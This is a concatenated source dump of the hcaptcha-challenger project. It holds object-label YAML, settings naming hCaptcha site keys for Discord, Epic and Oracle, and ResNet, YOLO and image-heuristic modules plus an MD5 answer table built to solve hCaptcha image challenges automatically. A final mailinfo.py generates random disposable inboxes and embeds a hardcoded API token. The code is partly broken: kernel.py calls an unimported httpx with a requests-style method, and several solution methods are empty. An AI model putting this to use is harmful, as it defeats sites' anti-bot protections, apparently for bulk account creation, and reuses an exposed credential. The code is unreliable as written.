13 | zh: [ "桥梁" ]
14 | en: [ "bridge" ]
15 | domestic_cat:
16 | zh: [ "家猫", "猫" ]
17 | en: [ "domestic cat", "cat" ]
18 | living_room:
19 | zh: [ "客厅" ]
20 | en: [ "living room" ]
21 | conference_room:
22 | zh: [ "会议室" ]
23 | en: [ "conference room" ]
24 | elephant_made_of_clouds:
25 | zh: [ "由云制成的大象" ]
26 | en: [ "elephant made of clouds" ]
27 | parrot:
28 | zh: [ "鹦鹉" ]
29 | en: [ "parrot" ]
30 |
31 | lion:
32 | zh: [ "狮子" ]
33 | en: [ "lion" ]
34 | lion_with_mane_on_its_neck:
35 | zh: [ "一只脖子上有鬃毛的狮子", "雄狮" ]
36 | en: [ "lion with mane on its neck", "male lion" ]
37 | lion_with_open_eyes:
38 | zh: [ "睁开眼睛的狮子" ]
39 | en: [ "lion with open eyes" ]
40 | lion_with_closed_eyes:
41 | zh: [ "一只闭着眼睛的狮子" ]
42 | en: [ "lion with closed eyes" ]
43 | lion_with_an_open_mouth:
44 | zh: [ "张开嘴的狮子" ]
45 | en: [ "lion with an open mouth" ]
46 | lion_with_a_closed_mouth:
47 | zh: [ "一只闭着嘴的狮子" ]
48 | en: [ "lion with a closed mouth" ]
49 | female_lion:
50 | zh: [ "雌狮" ]
51 | en: [ "female lion" ]
52 |
53 | horse_made_of_clouds:
54 | zh: [ "一匹由云制成的马" ]
55 | en: [ "horse made of clouds" ]
56 | horse_facing_to_the_left:
57 | zh: [ "朝左马" ]
58 | en: [ "horse facing to the left" ]
59 | horse_facing_to_the_right:
60 | zh: [ "面向右侧的马" ]
61 | en: [ "horse facing to the right" ]
62 | horse_with_white_legs:
63 | zh: [ "白腿马" ]
64 | en: [ "horse with white legs" ]
65 | horse_walking_or_running:
66 | zh: [ "马在行走或奔跑","马步行或奔跑" ]
67 | en: [ "horse walking or running" ]
68 |
69 | smiling_dog:
70 | zh: [ "微笑狗" ]
71 | en: [ "smiling dog" ]
72 | dog_with_a_collar_on_its_neck:
73 | zh: [ "一条脖子上有项圈的狗" ]
74 | en: [ "dog with a collar on its neck" ]
75 |
76 | kitten:
77 | zh: [ "小猫", "一只小猫" ]
78 | en: [ "kitten", "baby cat" ]
79 | adult_cat:
80 | zh: [ "成年猫" ]
81 | en: [ "adult cat" ]
82 | cat_with_long_hair:
83 | zh: [ "长毛猫", "厚毛猫" ]
84 | en: [ "cat with long hair", "cat with thick fur" ]
85 | cat_with_short_hair:
86 | zh: [ "短毛猫" ]
87 | en: [ "cat with short hair" ]
88 |
89 | bird_flying:
90 | zh: [ "一只飞翔的鸟" ]
91 | en: [ "bird flying" ]
92 | bird_on_a_branch:
93 | zh: [ "树枝上的鸟" ]
94 | en: [ "bird on a branch" ]
95 |
96 | broken_glass_bottle:
97 | zh: [ "破碎玻璃瓶" ]
98 | en: [ "broken glass bottle" ]
99 | whole_glass_bottle:
100 | zh: [ "整个玻璃瓶" ]
101 | en: [ "whole glass bottle" ]
102 | porcelain_teacup:
103 | zh: [ "类似瓷器设" ]
104 | en: [ "teacup with similar porcelain design pattern" ]
105 |
106 | fish_jumping_over_the_water:
107 | zh: [ "鱼跃过水面" ]
108 | en: [ "fish jumping over the water" ]
109 | fish_underwater:
110 | zh: [ "水下鱼" ]
111 | en: [ "fish underwater" ]
112 |
113 | dog_shaped_cookie:
114 | zh: [ "狗形饼干" ]
115 | en: [ "dog-shaped cookie" ]
116 | cat_shaped_cookie:
117 | zh: [ "猫形饼干" ]
118 | en: [ "cat-shaped cookie" ]
119 |
120 | flower_in_a_vase:
121 | zh: [ "花瓶中的花" ]
122 | en: [ "flower in a vase" ]
123 | plant_hanging_from_the_ceiling:
124 | zh: [ "悬挂在天花板上的植物" ]
125 | en: [ "plant hanging from the ceiling" ]
126 | plant_on_the_table:
127 | zh: [ "植物在桌上" ]
128 | en: [ "plant on the table" ]
129 |
--------------------------------------------------------------------------------
/hcaptcha_challenger/settings.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Time : 2022/2/15 17:42
3 | # Author : QIN2DIM
4 | # Github : https://github.com/QIN2DIM
5 | # Description:
6 | import os
7 | from os.path import dirname, join
8 |
9 | HCAPTCHA_DEMO_API = "https://accounts.hcaptcha.com/demo?sitekey={}"
10 | _SITE_KEYS = {
11 | "epic": "91e4137f-95af-4bc9-97af-cdcedce21c8c",
12 | "hcaptcha": "00000000-0000-0000-0000-000000000000",
13 | "discord": "f5561ba9-8f1e-40ca-9b5b-a0b3f719ef34",
14 | "oracle": "d857545c-9806-4f9e-8e9d-327f565aeb46",
15 | "publisher": "c86d730b-300a-444c-a8c5-5312e7a93628",
16 | }
17 |
18 | # https://www.wappalyzer.com/technologies/security/hcaptcha/
19 | HCAPTCHA_DEMO_SITES = [
20 | # [√] label: Tags follow point-in-time changes
21 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["publisher"]),
22 | # [√] label: `vertical river`
23 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["oracle"]),
24 | # [x] label: `airplane in the sky flying left`
25 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["discord"]),
26 | # [√] label: hcaptcha-challenger
27 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["hcaptcha"]),
28 | ]
29 |
30 | # ---------------------------------------------------
31 | # [√]Lock the project directory
32 | # ---------------------------------------------------
33 | # Source root directory
34 | PROJECT_ROOT = dirname(dirname(__file__))
35 |
36 | # File database directory
37 | PROJECT_DATABASE = join(PROJECT_ROOT, "database")
38 |
39 | # The storage directory of the YOLO object detection model
40 | DIR_MODEL = join(PROJECT_ROOT, "model")
41 |
42 | PATH_RAINBOW_YAML = join(DIR_MODEL, "rainbow.yaml")
43 |
44 | # Run cache directory
45 | DIR_TEMP_CACHE = join(PROJECT_DATABASE, "temp_cache")
46 |
47 | # Directory for challenge images
48 | DIR_CHALLENGE = join(DIR_TEMP_CACHE, "_challenge")
49 |
50 | # Service log directory
51 | DIR_LOG = join(PROJECT_DATABASE, "logs")
52 |
53 | # Settings of pluggable ONNX models
54 | HCAPTCHA_ROOT = dirname(__file__)
55 |
56 | PATH_OBJECTS_YAML = join(HCAPTCHA_ROOT, "objects.yaml")
57 |
--------------------------------------------------------------------------------
/hcaptcha_challenger/solutions/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Time : 2022/3/2 0:52
3 | # Author : QIN2DIM
4 | # Github : https://github.com/QIN2DIM
5 | # Description:
6 |
--------------------------------------------------------------------------------
/hcaptcha_challenger/solutions/kernel.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Time : 2022/4/30 22:34
3 | # Author : QIN2DIM
4 | # Github : https://github.com/QIN2DIM
5 | # Description:
6 | import hashlib
7 | import os
8 | from typing import Optional
9 |
10 | import requests
11 | import yaml
12 |
13 |
14 | class ChallengeStyle:
15 | WATERMARK = 100
16 | GENERAL = 128
17 | GAN = 144
18 |
19 |
20 | class Solutions:
21 | RAINBOW_TABLE = {}
22 |
23 | def __init__(self, name: str, path_rainbow: str = None):
24 | self.path_rainbow = "rainbow.yaml" if path_rainbow is None else path_rainbow
25 | self.flag = name
26 | self.rainbow_table = self.build_rainbow(path_rainbow=self.path_rainbow)
27 |
28 | @staticmethod
29 | def sync_rainbow(path_rainbow: str, convert: Optional[bool] = False):
30 | """
31 | 同步强化彩虹表
32 | :param path_rainbow:
33 | :param convert: 强制同步
34 | :return:
35 | """
36 | rainbow_obj = {
37 | "name": "rainbow_table",
38 | "path": path_rainbow,
39 | "src": "https://github.com/QIN2DIM/hcaptcha-challenger/releases/download/model/rainbow.yaml",
40 | }
41 |
42 | if convert or not os.path.exists(rainbow_obj["path"]):
43 | print(
44 | f"Downloading {rainbow_obj['name']} from {rainbow_obj['src']}")
45 | with httpx.stream(method="GET", url=rainbow_obj["src"]) as response, open(
46 | rainbow_obj["path"], "wb"
47 | ) as file:
48 | for chunk in response.iter_content(chunk_size=1024):
49 | if chunk:
50 | file.write(chunk)
51 |
52 | @staticmethod
53 | def build_rainbow(path_rainbow: str) -> Optional[dict]:
54 | """
55 |
56 | :param path_rainbow:
57 | :return:
58 | """
59 | if Solutions.RAINBOW_TABLE:
60 | return Solutions.RAINBOW_TABLE
61 |
62 | if os.path.exists(path_rainbow):
63 | with open(path_rainbow, "r", encoding="utf8") as file:
64 | stream = yaml.safe_load(file)
65 | Solutions.RAINBOW_TABLE = stream if isinstance(
66 | stream, dict) else {}
67 |
68 | return Solutions.RAINBOW_TABLE
69 |
70 | def match_rainbow(self, img_stream: bytes, rainbow_key: str) -> Optional[bool]:
71 | """
72 |
73 | :param img_stream:
74 | :param rainbow_key:
75 | :return:
76 | """
77 | try:
78 | if self.rainbow_table[rainbow_key]["yes"].get(hashlib.md5(img_stream).hexdigest()):
79 | return True
80 | if self.rainbow_table[rainbow_key]["bad"].get(hashlib.md5(img_stream).hexdigest()):
81 | return False
82 | except KeyError:
83 | pass
84 | return None
85 |
86 | @staticmethod
87 | def download_model_(
88 | dir_model, path_model, model_src, model_name, upgrade: Optional[bool] = None
89 | ):
90 | """Download the de-stylized binary classification model"""
91 | upgrade = bool(upgrade)
92 |
93 | os.makedirs(dir_model, exist_ok=True)
94 |
95 | if os.path.exists(path_model) and not upgrade:
96 | return
97 |
98 | if not model_src.lower().startswith("http"):
99 | raise ValueError from None
100 |
101 | print(f"Downloading {model_name} from {model_src}")
102 | with requests.get(model_src, stream=True) as response, open(path_model, "wb") as file:
103 | for chunk in response.iter_content(chunk_size=1024):
104 | if chunk:
105 | file.write(chunk)
106 |
107 | def solution(self, img_stream, **kwargs) -> bool:
108 | """Implementation process of solution"""
109 | raise NotImplementedError
110 |
111 | def solution_dev(self, src_dir: str, **kwargs):
112 | if not os.path.exists(src_dir):
113 | return
114 | _suffix = ".png"
115 | for _prefix, _, files in os.walk(src_dir):
116 | for filename in files:
117 | if not filename.endswith(_suffix):
118 | continue
119 | path_img = os.path.join(_prefix, filename)
120 | with open(path_img, "rb") as file:
121 | yield path_img, self.solution(file.read(), **kwargs)
122 |
--------------------------------------------------------------------------------
/hcaptcha_challenger/solutions/resnet.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Time : 2022/4/30 17:00
3 | # Author : Bingjie Yan
4 | # Github : https://github.com/beiyuouo
5 | # Description:
6 | import os
7 | import warnings
8 | from os import PathLike
9 | from typing import List, Callable, Union, Optional, Dict
10 |
11 | import cv2
12 | import numpy as np
13 | import yaml
14 | from scipy.cluster.vq import kmeans2
15 |
16 | from .kernel import ChallengeStyle
17 | from .kernel import Solutions
18 |
19 | warnings.filterwarnings("ignore", category=UserWarning)
20 |
21 |
22 | class ResNetFactory(Solutions):
23 | def __init__(self, _onnx_prefix, _name, _dir_model: str, path_rainbow=None):
24 | """
25 |
26 | :param _name: 日志打印显示的标记
27 | :param _dir_model: 模型所在的本地目录
28 | :param _onnx_prefix: 模型文件名,远程仓库文件和本地的一致。也用于拼接下载链接,因此该参数不允许用户自定义,
29 | 仅支持在范围内选择。
30 | :param path_rainbow: 彩虹表本地路径,可选。
31 | """
32 | super().__init__(_name, path_rainbow=path_rainbow)
33 | self.dir_model = _dir_model
34 | self.onnx_model = {
35 | "name": _name,
36 | "path": os.path.join(_dir_model, f"{_onnx_prefix}.onnx"),
37 | "src": f"https://github.com/QIN2DIM/hcaptcha-challenger/releases/download/model/{_onnx_prefix}.onnx",
38 | }
39 |
40 | self.download_model()
41 | self.net = cv2.dnn.readNetFromONNX(self.onnx_model["path"])
42 |
43 | def download_model(self, upgrade: Optional[bool] = None):
44 | """Download the ResNet ONNX classification model"""
45 | Solutions.download_model_(
46 | dir_model=self.dir_model,
47 | path_model=self.onnx_model["path"],
48 | model_src=self.onnx_model["src"],
49 | model_name=self.onnx_model["name"],
50 | upgrade=upgrade,
51 | )
52 |
53 | def classifier(
54 | self, img_stream, rainbow_key, feature_filters: Union[Callable, List[Callable]] = None
55 | ):
56 | match_output = self.match_rainbow(img_stream, rainbow_key)
57 | if match_output is not None:
58 | return match_output
59 |
60 | img_arr = np.frombuffer(img_stream, np.uint8)
61 | img = cv2.imdecode(img_arr, flags=1)
62 |
63 | # fixme: dup-code
64 | if img.shape[0] == ChallengeStyle.WATERMARK:
65 | img = cv2.fastNlMeansDenoisingColored(img, None, 10, 10, 7, 21)
66 |
67 | if feature_filters is not None:
68 | if not isinstance(feature_filters, list):
69 | feature_filters = [feature_filters]
70 | for tnt in feature_filters:
71 | if not tnt(img):
72 | return False
73 |
74 | img = cv2.resize(img, (64, 64))
75 | blob = cv2.dnn.blobFromImage(img, 1 / 255.0, (64, 64), (0, 0, 0), swapRB=True, crop=False)
76 |
77 | self.net.setInput(blob)
78 | out = self.net.forward()
79 |
80 | if not np.argmax(out, axis=1)[0]:
81 | return True
82 | return False
83 |
84 | def solution(self, img_stream, **kwargs) -> bool:
85 | """Implementation process of solution"""
86 |
87 |
88 | class FingersOfTheGolderOrder(ResNetFactory):
89 | """Res Net model factory, used to produce abstract model call interface."""
90 |
91 | def __init__(self, onnx_prefix: str, dir_model: str, path_rainbow=None):
92 | self.rainbow_key = onnx_prefix
93 | super().__init__(onnx_prefix, f"{onnx_prefix}(ResNet)_model", dir_model, path_rainbow)
94 |
95 | def solution(self, img_stream, **kwargs) -> bool:
96 | return self.classifier(img_stream, self.rainbow_key, feature_filters=None)
97 |
98 |
99 | class ElephantsDrawnWithLeaves(ResNetFactory):
100 | """Handle challenge 「Please select all the elephants drawn with leaves」"""
101 |
102 | def __init__(self, dir_model, path_rainbow=None):
103 | _onnx_prefix = "elephants_drawn_with_leaves"
104 | self.rainbow_key = _onnx_prefix.replace("_", " ")
105 | super().__init__(
106 | _onnx_prefix, f"{_onnx_prefix}(de-stylized)_model", dir_model, path_rainbow
107 | )
108 |
109 | @staticmethod
110 | def is_drawn_with_leaves(img) -> bool:
111 | img = np.array(img)
112 |
113 | img = img.reshape((img.shape[0] * img.shape[1], img.shape[2])).astype(np.float64)
114 | centroid, label = kmeans2(img, k=3)
115 |
116 | green_centroid = np.array([0.0, 255.0, 0.0])
117 |
118 | min_dis = np.inf
119 | for i, _ in enumerate(centroid):
120 | min_dis = min(min_dis, np.linalg.norm(centroid[i] - green_centroid))
121 |
122 | if min_dis < 200:
123 | return True
124 | return False
125 |
126 | def solution(self, img_stream, **kwargs) -> bool:
127 | return self.classifier(
128 | img_stream, self.rainbow_key, feature_filters=self.is_drawn_with_leaves
129 | )
130 |
131 |
132 | class HorsesDrawnWithFlowers(ResNetFactory):
133 | """Handle challenge「Please select all the horses drawn with flowers」"""
134 |
135 | def __init__(self, dir_model, path_rainbow=None):
136 | _onnx_prefix = "horses_drawn_with_flowers"
137 | self.rainbow_key = _onnx_prefix.replace("_", " ")
138 | super().__init__(
139 | _onnx_prefix, f"{_onnx_prefix}(de-stylized)_model", dir_model, path_rainbow
140 | )
141 |
142 | def solution(self, img_stream, **kwargs) -> bool:
143 | """Implementation process of solution"""
144 |
145 |
146 | class PluggableONNXModels:
147 | """
148 | Manage pluggable models. Provides high-level interfaces
149 | such as model download, model cache, and model scheduling.
150 | """
151 |
152 | def __init__(self, path_objects_yaml: str):
153 | self.fingers = []
154 | self.label_alias = {i: {} for i in ["zh", "en"]}
155 | self._register(path_objects_yaml)
156 |
157 | def _register(self, path_objects_yaml):
158 | """
159 | Register pluggable ONNX models from `objects.yaml`.
160 |
161 | :type path_objects_yaml: str
162 | :rtype: List[str]
163 | :rtype: None
164 | """
165 | if not path_objects_yaml or not os.path.exists(path_objects_yaml):
166 | return
167 |
168 | with open(path_objects_yaml, "r", encoding="utf8") as file:
169 | data: Dict[str, dict] = yaml.safe_load(file.read())
170 |
171 | label_to_i18ndict = data.get("label_alias", {})
172 | if not label_to_i18ndict:
173 | return
174 |
175 | for model_label, i18n_to_raw_labels in label_to_i18ndict.items():
176 | self.fingers.append(model_label)
177 | for lang, prompt_labels in i18n_to_raw_labels.items():
178 | for prompt_label in prompt_labels:
179 | self.label_alias[lang].update({prompt_label.strip(): model_label})
180 |
181 | def summon(self, dir_model, path_rainbow=None, upgrade=None):
182 | """
183 | Download ONNX models from upstream repositories,
184 | skipping installed model files by default.
185 |
186 | :type dir_model: str
187 | :type path_rainbow: str | None
188 | :type upgrade: bool | None
189 | :rtype: None
190 | """
191 | for finger in self.fingers:
192 | FingersOfTheGolderOrder(finger, dir_model, path_rainbow).download_model(upgrade)
193 |
194 | def overload(self, dir_model, path_rainbow=None):
195 | """
196 | Load the ONNX model into memory.
197 | Executed before the task starts.
198 |
199 | :type dir_model: str
200 | :type path_rainbow: str | None
201 | :rtype: Dict[str, FingersOfTheGolderOrder]
202 | """
203 | return {
204 | finger: FingersOfTheGolderOrder(finger, dir_model, path_rainbow)
205 | for finger in self.fingers
206 | }
207 |
208 | def black_knife(self, label_alias, dir_model, path_rainbow=None):
209 | """
210 | Use to summon the spirit of Black Knife Tiche.
211 |
212 | :type label_alias: str
213 | :type dir_model: PathLike[str]
214 | :type path_rainbow: PathLike[str] | None
215 | :rtype: None
216 | """
217 |
218 | def mimic_tear(self):
219 | """
220 | This spirit takes the form of the summoner to fight alongside them,
221 | but its mimicry does not extend to imitating the summoner's will.
222 |
223 | :rtype: None
224 | """
225 |
--------------------------------------------------------------------------------
/hcaptcha_challenger/solutions/sk_recognition.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Time : 2022-03-01 20:32
3 | # Author : Bingjie Yan
4 | # Github : https://github.com/beiyuouo
5 | # Description:
6 | import time
7 | from typing import Optional
8 |
9 | import cv2
10 | import numpy as np
11 | from skimage import feature
12 | from skimage.future import graph
13 | from skimage.segmentation import slic
14 |
15 | from .kernel import Solutions
16 |
17 |
18 | class SKRecognition(Solutions):
19 | def __init__(self, path_rainbow: Optional[str] = None):
20 | super().__init__("skimage_model", path_rainbow)
21 |
22 | @staticmethod
23 | def _weight_mean_color(graph_, src: int, dst: int, n: int): # noqa
24 | """Callback to handle merging nodes by recomputing mean color.
25 |
26 | The method expects that the mean color of `dst` is already computed.
27 |
28 | Parameters
29 | ----------
30 | graph_ : RAG
31 | The graph under consideration.
32 | src, dst : int
33 | The vertices in `graph` to be merged.
34 | n : int
35 | A neighbor of `src` or `dst` or both.
36 |
37 | Returns
38 | -------
39 | data : dict
40 | A dictionary with the `"weight"` attribute set as the absolute
41 | difference of the mean color between node `dst` and `n`.
42 | """
43 |
44 | diff = graph_.nodes[dst]["mean color"] - graph_.nodes[n]["mean color"]
45 | diff = np.linalg.norm(diff)
46 | return {"weight": diff}
47 |
48 | @staticmethod
49 | def _merge_mean_color(graph_, src: int, dst: int):
50 | """Callback called before merging two nodes of a mean color distance graph.
51 |
52 | This method computes the mean color of `dst`.
53 |
54 | Parameters
55 | ----------
56 | graph_ : RAG
57 | The graph under consideration.
58 | src, dst : int
59 | The vertices in `graph` to be merged.
60 | """
61 | graph_.nodes[dst]["total color"] += graph_.nodes[src]["total color"]
62 | graph_.nodes[dst]["pixel count"] += graph_.nodes[src]["pixel count"]
63 | graph_.nodes[dst]["mean color"] = (
64 | graph_.nodes[dst]["total color"] / graph_.nodes[dst]["pixel count"]
65 | )
66 |
67 | @staticmethod
68 | def _remove_border(img):
69 | img[:, 1] = 0
70 | img[:, -2] = 0
71 | img[1, :] = 0
72 | img[-2, :] = 0
73 | return img
74 |
75 | def solution(self, img_stream, **kwargs) -> bool:
76 | """Implementation process of solution"""
77 | raise NotImplementedError
78 |
79 |
80 | class VerticalRiverRecognition(SKRecognition):
81 | """A fast solution for identifying vertical rivers"""
82 |
83 | def __init__(self, path_rainbow: Optional[str] = None):
84 | super().__init__(path_rainbow=path_rainbow)
85 | self.rainbow_key = "vertical river"
86 |
87 | def solution(self, img_stream, **kwargs) -> bool:
88 | """Implementation process of solution"""
89 | match_output = self.match_rainbow(img_stream, rainbow_key=self.rainbow_key)
90 | if match_output is not None:
91 | return match_output
92 |
93 | img_arr = np.frombuffer(img_stream, np.uint8)
94 | img = cv2.imdecode(img_arr, flags=1)
95 |
96 | img = cv2.pyrMeanShiftFiltering(img, sp=10, sr=40)
97 | img = cv2.bilateralFilter(img, d=9, sigmaColor=100, sigmaSpace=75)
98 |
99 | labels = slic(img, compactness=30, n_segments=400, start_label=1)
100 | g = graph.rag_mean_color(img, labels)
101 |
102 | labels2 = graph.merge_hierarchical(
103 | labels,
104 | g,
105 | thresh=35,
106 | rag_copy=False,
107 | in_place_merge=True,
108 | merge_func=self._merge_mean_color,
109 | weight_func=self._weight_mean_color,
110 | )
111 |
112 | return len(np.unique(labels2[-1])) >= 3
113 |
114 |
115 | class LeftPlaneRecognition(SKRecognition):
116 | """A fast solution for identifying `airplane in the sky flying left`"""
117 |
118 | def __init__(self, path_rainbow: Optional[str] = None):
119 | super().__init__(path_rainbow=path_rainbow)
120 | self.sky_threshold = 1800
121 | self.left_threshold = 30
122 | self.rainbow_key = "airplane in the sky flying left"
123 |
124 | def solution(self, img_stream: bytes, **kwargs) -> bool:
125 | """Implementation process of solution"""
126 | match_output = self.match_rainbow(img_stream, rainbow_key=self.rainbow_key)
127 | if match_output is not None:
128 | return match_output
129 |
130 | img_arr = np.frombuffer(img_stream, np.uint8)
131 | img = cv2.imdecode(img_arr, flags=1)
132 | img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
133 |
134 | edges1 = feature.canny(img)
135 | edges1 = self._remove_border(edges1)
136 |
137 | # on the ground
138 | if np.count_nonzero(edges1) > self.sky_threshold:
139 | return False
140 |
141 | min_x = np.min(np.nonzero(edges1), axis=1)[1]
142 | max_x = np.max(np.nonzero(edges1), axis=1)[1]
143 |
144 | left_nonzero = np.count_nonzero(edges1[:, min_x : min(max_x, min_x + self.left_threshold)])
145 | right_nonzero = np.count_nonzero(edges1[:, max(min_x, max_x - self.left_threshold) : max_x])
146 |
147 | # Flying towards the right
148 | if left_nonzero > right_nonzero:
149 | return False
150 |
151 | time.sleep(0.25)
152 | return True
153 |
154 |
155 | class RightPlaneRecognition(SKRecognition):
156 | def __init__(self, path_rainbow: Optional[str] = None):
157 | super().__init__(path_rainbow=path_rainbow)
158 | self.sky_threshold = 1800
159 | self.left_threshold = 30
160 | self.rainbow_key = "airplanes in the sky that are flying to the right"
161 |
162 | def solution(self, img_stream: bytes, **kwargs) -> bool:
163 | match_output = self.match_rainbow(img_stream, rainbow_key=self.rainbow_key)
164 | if match_output is not None:
165 | return match_output
166 |
167 | img_arr = np.frombuffer(img_stream, np.uint8)
168 | img = cv2.imdecode(img_arr, flags=1)
169 | img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
170 |
171 | edges1 = feature.canny(img)
172 | edges1 = self._remove_border(edges1)
173 |
174 | # On the ground
175 | if np.count_nonzero(edges1) > self.sky_threshold:
176 | return False
177 |
178 | min_x = np.min(np.nonzero(edges1), axis=1)[1]
179 | max_x = np.max(np.nonzero(edges1), axis=1)[1]
180 |
181 | left_nonzero = np.count_nonzero(edges1[:, min_x : min(max_x, min_x + self.left_threshold)])
182 | right_nonzero = np.count_nonzero(edges1[:, max(min_x, max_x - self.left_threshold) : max_x])
183 |
184 | # Flying towards the left
185 | if left_nonzero < right_nonzero:
186 | return False
187 |
188 | time.sleep(0.15)
189 | return True
190 |
--------------------------------------------------------------------------------
/hcaptcha_challenger/solutions/yolo.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Time : 2022/3/2 0:52
3 | # Author : QIN2DIM
4 | # Github : https://github.com/QIN2DIM
5 | # Description:
6 | import os
7 |
8 | import cv2
9 | import numpy as np
10 |
11 | from .kernel import ChallengeStyle
12 | from .kernel import Solutions
13 |
14 |
15 | class YOLO:
16 | """YOLO model for image classification"""
17 |
18 | classes = [
19 | "person",
20 | "bicycle",
21 | "car",
22 | "motorcycle",
23 | "airplane",
24 | "bus",
25 | "train",
26 | "truck",
27 | "boat",
28 | "traffic light",
29 | "fire hydrant",
30 | "stop sign",
31 | "parking meter",
32 | "bench",
33 | "bird",
34 | "cat",
35 | "dog",
36 | "horse",
37 | "sheep",
38 | "cow",
39 | "elephant",
40 | "bear",
41 | "zebra",
42 | "giraffe",
43 | "backpack",
44 | "umbrella",
45 | "handbag",
46 | "tie",
47 | "suitcase",
48 | "frisbee",
49 | "skis",
50 | "snowboard",
51 | "sports ball",
52 | "kite",
53 | "baseball bat",
54 | "baseball glove",
55 | "skateboard",
56 | "surfboard",
57 | "tennis racket",
58 | "bottle",
59 | "wine glass",
60 | "cup",
61 | "fork",
62 | "knife",
63 | "spoon",
64 | "bowl",
65 | "banana",
66 | "apple",
67 | "sandwich",
68 | "orange",
69 | "broccoli",
70 | "carrot",
71 | "hot dog",
72 | "pizza",
73 | "donut",
74 | "cake",
75 | "chair",
76 | "couch",
77 | "potted plant",
78 | "bed",
79 | "dining table",
80 | "toilet",
81 | "tv",
82 | "laptop",
83 | "mouse",
84 | "remote",
85 | "keyboard",
86 | "cell phone",
87 | "microwave",
88 | "oven",
89 | "toaster",
90 | "sink",
91 | "refrigerator",
92 | "book",
93 | "clock",
94 | "vase",
95 | "scissors",
96 | "teddy bear",
97 | "hair drier",
98 | "toothbrush",
99 | ]
100 |
101 | def __init__(self, dir_model: str = None, onnx_prefix: str = None):
102 | self.dir_model = "./model" if dir_model is None else dir_model
103 |
104 | # Select default onnx model.
105 | self.onnx_prefix = (
106 | "yolov5s6"
107 | if onnx_prefix
108 | not in [
109 | # Reference - Ultralytics YOLOv5 https://github.com/ultralytics/yolov5
110 | "yolov5m6",
111 | "yolov5s6",
112 | "yolov5n6",
113 | # Reference - MT-YOLOv6 https://github.com/meituan/YOLOv6
114 | "yolov6n",
115 | "yolov6s",
116 | "yolov6t",
117 | # "yolov7" # Vision Transformer
118 | ]
119 | else onnx_prefix
120 | )
121 |
122 | self.name = f"YOLOv5{self.onnx_prefix[-2:]}"
123 | if self.onnx_prefix.startswith("yolov6"):
124 | self.name = f"MT-YOLOv6{self.onnx_prefix[-1]}"
125 |
126 | self.onnx_model = {
127 | "name": f"{self.name}(ONNX)_model",
128 | "path": os.path.join(self.dir_model, f"{self.onnx_prefix}.onnx"),
129 | "src": f"https://github.com/QIN2DIM/hcaptcha-challenger/releases/download/model/{self.onnx_prefix}.onnx",
130 | }
131 |
132 | self.flag = self.onnx_model["name"]
133 |
134 | self.download_model()
135 | self.net = cv2.dnn.readNetFromONNX(self.onnx_model["path"])
136 |
137 | def download_model(self):
138 | """Download YOLOv5(ONNX) model"""
139 | Solutions.download_model_(
140 | dir_model=self.dir_model,
141 | path_model=self.onnx_model["path"],
142 | model_src=self.onnx_model["src"],
143 | model_name=self.onnx_model["name"],
144 | upgrade=False,
145 | )
146 |
147 | def detect_common_objects(self, img: np.ndarray, confidence=0.4, nms_thresh=0.4):
148 | """
149 | Object Detection
150 |
151 | Get multiple labels identified in a given image
152 |
153 | :param img:
154 | :param confidence:
155 | :param nms_thresh:
156 | :return: bbox, label, conf
157 | """
158 | height, width = img.shape[:2]
159 |
160 | class_ids = []
161 | confidences = []
162 | boxes = []
163 |
164 | blob = cv2.dnn.blobFromImage(img, 1 / 255.0, (128, 128), (0, 0, 0), swapRB=True, crop=False)
165 |
166 | self.net.setInput(blob)
167 | outs = self.net.forward()
168 |
169 | for out in outs:
170 | for detection in out:
171 | scores = detection[5:]
172 | class_id = np.argmax(scores)
173 | max_conf = scores[class_id]
174 | if max_conf > confidence:
175 | center_x = int(detection[0] * width)
176 | center_y = int(detection[1] * height)
177 | w = int(detection[2] * width)
178 | h = int(detection[3] * height)
179 | x = center_x - (w / 2)
180 | y = center_y - (h / 2)
181 | class_ids.append(class_id)
182 | confidences.append(float(max_conf))
183 | boxes.append([x, y, w, h])
184 |
185 | indices = cv2.dnn.NMSBoxes(boxes, confidences, confidence, nms_thresh)
186 |
187 | return [str(self.classes[class_ids[i]]) for i in indices]
188 |
189 | def solution(self, img_stream: bytes, label: str, **kwargs) -> bool:
190 | """
191 | Implementation process of solution.
192 |
193 | with open(img_filepath, "rb") as file:
194 | data = file.read()
195 | solution(img_stream=data, label="truck")
196 |
197 | :param img_stream: image file binary stream
198 | :param label:
199 | :param kwargs:
200 | :return:
201 | """
202 | confidence = kwargs.get("confidence", 0.4)
203 | nms_thresh = kwargs.get("nms_thresh", 0.4)
204 |
205 | np_array = np.frombuffer(img_stream, np.uint8)
206 | img = cv2.imdecode(np_array, flags=1)
207 | img = (
208 | cv2.fastNlMeansDenoisingColored(img, None, 10, 10, 7, 21)
209 | if img.shape[0] == ChallengeStyle.WATERMARK
210 | else img
211 | )
212 | try:
213 | labels = self.detect_common_objects(img, confidence, nms_thresh)
214 | return bool(label in labels)
215 | # patch for `ValueError: attempt to get argmax of an empty sequence.`
216 | # at code `class_id=np.argmax(scores)`
217 | except ValueError:
218 | return False
219 |
--------------------------------------------------------------------------------
/mailinfo.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import json
3 | import random
4 | import string
5 |
6 | class MailInfo:
7 | global DOMAINS
8 | global DOMAIN
9 | global TOKEN
10 |
11 | with open("config.json", "r") as conf: config = json.load(conf)
12 | DOMAINS = config["EMAIL STUFF"]["CUSTOM DOMAINS"]
13 | DOMAIN = random.choice(DOMAINS)
14 | TOKEN = "qgk2auEHq94bq5w8s_Fk78Iyt3xJrs9U7ESND5SHWbo"
15 |
16 | def generateInbox(rush=False):
17 | CHARS = string.ascii_letters + string.digits
18 | ALIAS = "".join(random.choice(CHARS) for _ in range(11))
19 | EMAIL = f"{ALIAS}@{DOMAIN}"
20 | return Inbox(EMAIL, TOKEN)
21 |
22 | """
23 | getEmail gets the emails from an inbox object
24 | and returns a list of Email objects
25 | """
26 |
